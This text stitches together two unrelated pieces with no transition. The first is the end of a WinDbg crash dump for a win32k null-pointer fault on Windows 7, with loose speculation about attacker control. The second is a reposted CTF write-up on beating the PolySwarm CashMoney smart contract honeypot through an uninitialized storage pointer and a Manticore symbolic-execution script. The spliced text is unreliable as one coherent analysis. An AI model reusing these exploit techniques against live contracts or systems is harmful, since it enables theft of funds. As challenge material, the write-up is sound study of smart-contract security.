win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

FAULT_INSTR_CODE:  8418b48

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  win32k!NtUserGetDCEx+b7

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  5b40db20

IMAGE_VERSION:  6.1.7601.24204

STACK_COMMAND:  .cxr 0xfffff880045ceae0 ; kb

FAILURE_BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

PRIMARY_PROBLEM_CLASS:  X64_0x3B_win32k!NtUserGetDCEx+b7

TARGET_TIME:  2018-10-24T13:30:00.000Z

OSBUILD:  7601

OSSERVICEPACK:  1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  272

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS

OS_LOCALE:  

USER_LCID:  0

OSBUILD_TIMESTAMP:  2018-08-10 23:14:00

BUILDDATESTAMP_STR:  180810-0600

BUILDLAB_STR:  win7sp1_ldr

BUILDOSVER_STR:  6.1.7601.24231.amd64fre.win7sp1_ldr.180810-0600

ANALYSIS_SESSION_ELAPSED_TIME:  a8b

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:x64_0x3b_win32k!ntusergetdcex+b7

FAILURE_ID_HASH:  {c08a00a3-15a5-89cf-350a-72fc675556fc}

Followup:     MachineOwner
---------

Vulnerability Analysis

Looking at the registers output, we can see an invalid pointer is happening:

kd> r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Inspecting the pointer rcx+8 to view the memory address it referencing and we can confirm the memory are indeed invalid / free. There could be a potential of attacker to control from here when mapping into winlogon.exe process by overwriting something in the memory to control the object.

kd> dd rcx+8
00000000`00000008  ???????? ???????? ???????? ????????
00000000`00000018  ???????? ???????? ???????? ????????
00000000`00000028  ???????? ???????? ???????? ????????
00000000`00000038  ???????? ???????? ???????? ????????
00000000`00000048  ???????? ???????? ???????? ????????
00000000`00000058  ???????? ???????? ???????? ????????
00000000`00000068  ???????? ???????? ???????? ????????
00000000`00000078  ???????? ???????? ???????? ????????

Disassembly code of the crash path:

kd> u win32k!NtUserGetDCEx+0xb7
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]      // ds:002b:00000000`00000008=????????????????
fffff960`00161273 488b7810        mov     rdi,qword ptr [rax+10h]
fffff960`00161277 ff15936d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016127d 0fbaa0980100001d bt      dword ptr [rax+198h],1Dh
fffff960`00161285 731c            jae     win32k!NtUserGetDCEx+0xeb (fffff960`001612a3)
fffff960`00161287 ff15836d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016128d 488b8858010000  mov     rcx,qword ptr [rax+158h]
fffff960`00161294 488b81b0020000  mov     rax,qword ptr [rcx+2B0h]

PolySwarm Smart Contract Hacking Challenge Writeup

( Original text by raz0r )

This is a walk through for the smart contract hacking challenge organized by PolySwarm for CODE BLUE conference held in Japan on November 01–02. Although the challenge was supposed to be held on-site for whitelisted addresses only, Ben Schmidt of PolySwarm kindly shared a wallet so that I could participate in the challenge.

The target smart contract called CashMoney featured a set of honeypot tricks that were described in Ben’s talk “Smart Contract Honeypots”. A naïve attacker would call do_guess()function with a number that was compared with a private variable current, which could easily be revealed off-chain. However, the condition would never work as expected because of the following code:

1
2
3
4
Guess storage guess;
guess.playerNo = players[msg.sender].playerNo;
guess.time = now;
guesses.push(guess);

Solidity prior to 0.5.0 allows uninitialized storage pointers. Since the contract was compiled with solc 0.4.25, the code above would silently overwrite the first element in contract’s storage with players[msg.sender].playerNo value. As a result, variable current which is the first in the storage would be changed right before the comparison. In order to make the condition pass, one had to call do_guess() with their player number instead of current value. The contract allowed to update one’s number and name via updateSelf(), which was quite handy since do_guess() had a restriction on the number range (only 0–10).

After the check succeeded it seemed that nothing could stop me to receive the prize. However, it was just the beginning of the long journey into EVM bytecode, as do_guess() reverted for unknown reason. After a short debugging session in Remix it was clear that the following line caused it:

1
2
// you win!
winnerLog.logWinner(msg.sender, players[msg.sender].playerNo, players[msg.sender].name);

CashMoney address on EtherScan revealed the source code of another contract called WinnerLog, however winnerLog variable pointed to some other contract which had no verified source code. An attempt to verify the source code was unsuccessful which proved the assumption that WinnerLog had some different logic inside. A quick recon on WinnerLogrevealed a magic string dogecointothemoonlambosoondudes! in contract’s storage. The first idea was of course to use this string as a username, however do_guess() still reverted. Other variations like reversing this string or using capital letters also failed. As quick attempts happened to be ineffective, I moved to reverse engineering the contract’s bytecode. Although decompiled contract was hardly comprehensible, EtherVM provided some hints on the logic inside logWinner() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
} else if (var0 == 0x7fd4b61a) { // logWinner()
/**/
if (msg.sender != storage[0x03] & 0x02 ** 0xa0 - 0x01) { revert(memory[0x00:0x00]); }
/**/
} else {
/**/
label_03F5:
    var9 = var6; // var6 is magic string
    var10 = var7 & 0x1f;
    if (var10 >= 0x20) { assert(); }
    var9 = byte(var9, var10) * 0x02 ** 0xf8 ~ 0x02 ** 0xf8 * 0x42;
    var10 = var5;
    var11 = var7 & 0xffffffff;
    if (var11 >= memory[var10:var10 + 0x20]) { assert(); }
    var temp35 = var10 + 0x20 + var11;
    memory[temp35:temp35 + 0x01] = byte((memory[temp35:temp35 + 0x20] / 0x02 ** 0xf8 * 0x02 ** 0xf8 ~ var9) & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0x00);
    var8 = var8;
    var7 = var7 + 0x01;
    if (var7 & 0xffffffff >= memory[var5:var5 + 0x20]) { goto label_0475; }
    else { goto label_03F5; }
}

It was quite obvious that the function could be called only by CashMoney contract, and some operations were done on each byte of the magic string. Therefore I had to find such username that would satisfy some obscure conditions inside a closed-source smart contract code. Sounds like a perfect task for symbolic execution.

Manticore is a symbolic execution tool created by Trail of Bits which supports Ethereum Virtual Machine. It proved to be effective at CTFs, so I decided to give it a try.

Firstly, it was necessary to set up addresses and create the WinnerLog smart contract:

1
2
3
4
5
6
7
import binascii
from manticore.ethereum import ManticoreEVM, ABI
m = ManticoreEVM()
owner_account      = m.create_account(balance=1000, name='owner',     address=0xbc7ddd20d5bceb395290fd7ce3a9da8d8b485559)
attacker_account   = m.create_account(balance=1000, name='attacker',  address=0x762C808237A69d786A85E8784Db8c143EB70B2fB)
cashmoney_contract = m.create_account(balance=1000, name='CashMoney', address=0x64ba926175bc69ba757ef53a6d5ef616889c9999)
winnerlog_contract = m.create_contract(init=bytecode, owner=owner_account, name="WinnerLog", address=0x2e4d2a597a2fcbdf6cc55eb5c973e76aa19ac410)

After that, the smart contract state had to be recreated. There was just one transaction on the mainnet, supposedly to allow CashMoney contract call WinnerLog:

1
2
m.transaction(caller=owner_account, address=winnerlog_contract,
data=binascii.unhexlify(b"c3e8512400000000000000000000000064ba926175bc69ba757ef53a6d5ef616889c9999"), value=0)

The next step was to create a symbolic buffer and send a transaction to call logWinner() with that symbolic buffer:

1
2
3
symbolic_data = m.make_symbolic_buffer(64)
calldata = ABI.function_call('logWinner(address,uint256,bytes)', attacker_account, 0, symbolic_data)
m.transaction(caller=cashmoney_contract, address=winnerlog_contract, data=calldata, value=0, gas=10000000)

And finally my goal was to find at least a single running state, i.e. the one that finished with a STOP instead of REVERT or THROW:

1
2
3
4
5
for state in m.running_states:
    world  = state.platform
    result = state.solve_one(symbolic_data)
    print("[+] FOUND: {}".format(binascii.hexlify(result)))
    break

After several minutes manticore successfully found a username that would not result in a reverted transaction:


After setting this sequence of bytes as my username, I successfully claimed one of the prizes. The complete solution can be found on GitHub.